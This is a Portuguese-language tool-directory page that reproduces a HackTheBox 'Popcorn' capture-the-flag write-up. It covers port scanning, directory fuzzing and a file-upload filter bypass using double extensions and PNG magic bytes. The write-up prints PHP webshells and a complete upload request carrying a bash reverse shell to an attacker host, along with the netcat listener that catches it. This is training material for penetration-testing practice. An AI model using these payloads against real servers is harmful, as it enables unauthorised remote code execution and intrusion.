Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Popcorn-TJNULL-OSCP- — Popcorn HTB write-up cobrindo fuzzing avançado de diretórios, bypass de upload de arquivos via números mágicos/falsificação de extensão usando Burp Suite, e escalonamento de privilégios via CVE-2010-0832 (PAM MOTD File Tampering). | Kitploit
Ferramentas/GitHubGitHub/r3fr4kt/popcorn-tjnull-oscp-
Escalada de PrivilégiosReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebFuzzingCTFTestes de PenetraçãoAprendizado e Educação

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Labs e Prática
GitHubr3fr4kt/popcorn-tjnull-oscp-

Popcorn-TJNULL-OSCP-

Popcorn HTB write-up cobrindo fuzzing avançado de diretórios, bypass de upload de arquivos via números mágicos/falsificação de extensão usando Burp Suite, e escalonamento de privilégios via CVE-2010-0832 (PAM MOTD File Tampering).

Ver Repositório
20há 4 mesesAinda não revisado

HackTheBox: Write-up do Popcorn

Data: 05 de junho de 2026
Dificuldade: Fácil
Plataforma: HackTheBox
Técnicas Principais: Enumeração de Portas e Serviços, Fuzzing de Diretórios (Gobuster), Evasão de Upload de Arquivos, Manipulação de Requisições HTTP (Burp Suite), Execução Remota de Código (RCE), Estabilização Avançada de Shell TTY (Python), Exploração Local de Kernel/PAM (Adulteração de Arquivo MOTD).


1. Reconhecimento e Enumeração

Varredura de Portas (Reconhecimento Rápido)

Começamos realizando uma varredura rápida de portas TCP em todas as 65.535 portas (-p-) para localizar pontos de entrada abertos. Otimizamos a velocidade de execução usando --min-rate 5000 e pulamos a resolução de DNS e varreduras de ping para agilizar o processo em um ambiente de auditoria:

nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>

A varredura inicial descobre de forma confiável duas portas abertas: porta 22 (SSH) e porta 80 (HTTP).

Varredura de Serviços e Vulnerabilidades (Análise Aprofundada)

Em seguida, realizamos uma varredura direcionada e aprofundada nas portas identificadas para determinar versões precisas de serviços e executar os scripts padrão e básicos de vulnerabilidade do Nmap:

nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>

A partir da saída, extraímos informações críticas sobre o ecossistema alvo:

  • Porta 22/TCP (SSH): OpenSSH 5.1 Debian 6ubuntu2 (Indica uma distribuição Ubuntu Linux significativamente legada).
  • Porta 80/TCP (HTTP): Apache httpd 2.2.12

Fuzzing de Diretórios (Gobuster)

Antes de interagir com a aplicação web via navegador, adicionamos o endereço IP alvo ao arquivo /etc/hosts da nossa máquina atacante para limpar o mapeamento de domínio e garantir que os redirecionamentos internos sejam resolvidos corretamente:

<VICTIM_IP>    popcorn.htb

Em seguida, executamos uma descoberta automatizada de diretórios ocultos usando gobuster junto com a wordlist clássica de tamanho médio do DirBuster:

gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt

A fase de fuzzing descobre os seguintes caminhos acessíveis no servidor web da vítima:

  • /index (Página inicial padrão).
  • /test (Painel de teste ou arquivo de informações de desenvolvimento).
  • /torrent (Uma plataforma web totalmente funcional dedicada a hospedar e compartilhar arquivos torrent).
  • /response (Página de resposta interna).

2. Vetor de Acesso Inicial (Exploração Web e Evasão de Filtro)

Explorando o diretório /torrent revela um CMS de compartilhamento de torrents. Para interagir com os recursos de upload, nos registramos e fazemos login em uma conta válida criada na hora. Após publicar um arquivo .torrent legítimo, a plataforma habilita uma opção para editar os detalhes do torrent e enviar uma imagem de screenshot promocional. Este formulário específico se torna nosso vetor de ataque principal.

Para alcançar a Execução Remota de Código (RCE), passamos por uma série de fases de teste, analisando o comportamento do backend usando Burp Suite (Repeater) :

Tentativa 1: Webshell Dinâmico via Parâmetros GET (Erro de Sintaxe)

Interceptamos a requisição de upload da screenshot e modificamos o nome do arquivo para exploit.php. Tentamos inserir um webshell clássico de uma linha no corpo do arquivo:

<?php system($_GET['cmd']) ?>

Resultado: O servidor web retorna um erro de execução interno devido a um ponto e vírgula ; faltando no final da instrução PHP, interrompendo o fluxo de execução.

Tentativa 2: Injeção com Parâmetros na URL de Upload (Falha de Método)

Corrigimos a sintaxe para <?php system($_GET['cmd']); ?>, mas como a requisição é enviada via POST (usando multipart/form-data), tentamos passar nosso comando diretamente dentro da URL do cabeçalho (POST /torrent/upload_file.php?cmd=whoami).

Resultado: O servidor web lança o seguinte erro:

Cannot execute a blank command

Análise: Durante o parsing do upload de arquivo, o backend ignora completamente as variáveis GET presentes na URL. O script upload_file.php escreve o arquivo no disco, mas imediatamente tenta executar a função interna. Como ele não recebe nada nas variáveis esperadas do corpo, $_GET['cmd'] é processado como vazio.

Tentativa 3: Extensão Dupla (Falha de Execução Estática)

Para contornar os filtros básicos de verificação de extensão que verificam se o arquivo é uma imagem válida, renomeamos o arquivo para innocent.php.png e codificamos um payload de reverse shell para que não dependa de parâmetros externos:

Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>

Resultado: O servidor responde com um 200 OK bem-sucedido informando:

Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.

Análise: Embora tenha conseguido contornar o filtro inicial, como o arquivo terminava estritamente com a extensão .png, o servidor Apache o tratou como uma imagem estática comum. Ao navegar para ele, o navegador simplesmente imprime os bytes brutos como texto simples; o Apache nunca passa o arquivo para o interpretador PHP, o que significa que nosso listener Netcat nunca captura uma conexão.

Tentativa 4: Bypass Bem-Sucedido (Modificação de Extensão e Números Mágicos)

Sabendo que o servidor precisa interpretar a extensão .php para acionar a execução do código, invertemos a ordem da extensão (innocent.png.php), mantemos o cabeçalho Content-Type: image/png intacto e prefixamos a assinatura PNG ou Números Mágicos (‰PNG) no início do corpo do arquivo para falsificar as verificações de validação de conteúdo do backend:

POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1

------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--

Resultado: O servidor web aceita o arquivo limpo, processa a extensão final e o salva dentro do diretório de upload com o nome innocent.php :

HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.

Acionando a Execução Remota de Código (RCE)

Como o script de upload apenas armazena o arquivo no disco sem executá-lo no contexto da requisição POST de upload, acionamos uma chamada independente para forçar o servidor a lê-lo:

  1. Configure um listener Netcat na nossa máquina atacante:
nc -lvnp 4444

  1. Acione o reverse shell navegando diretamente para o caminho da URL do arquivo enviado (seja via navegador ou usando uma requisição GET limpa no Burp):
[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)

O servidor Apache é forçado a processar o arquivo, detecta as tags PHP, executa o payload Bash, e a conexão é capturada perfeitamente no nosso listener, concedendo acesso inicial como o usuário www-data.


3. Pós-Exploração e Estabilização de Shell TTY

Tentar elevar privilégios imediatamente após receber a shell revela severas limitações de ambiente:

www-data@popcorn:/$ su root
su: must be run from a terminal

O comando su exige estritamente um terminal interativo real (TTY) para aceitar entrada de forma segura. Tentar forçar um via python3 indica que ele não está instalado nesta máquina legada (The program 'python3' is currently not installed).

Baixar ferramenta